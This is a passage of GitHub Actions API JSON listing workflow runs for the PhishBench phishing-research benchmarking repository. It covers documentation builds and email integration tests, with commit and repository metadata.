docs","run_number":383,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":7680613201,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczbUQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802600146","pull_requests":[],"created_at":"2022-08-05T09:20:17Z","updated_at":"2022-08-05T09:22:13Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:17Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680613201","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/1732356","head_commit":{"id":"1e59b61ec3662be30b817d3125fca946231f0b0f","tree_id":"aaa1fe2da38fd5318ec4a5df499c32237e69030e","message":"Update docs","timestamp":"2022-08-05T08:44:49Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569153,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nC8_B","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Documentation.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":82,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7680534936,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupmA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569153","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:16:21Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534936","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569151,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nC8-_","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Email_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7680534934,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycuplg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569151","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:37:20Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534934","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. 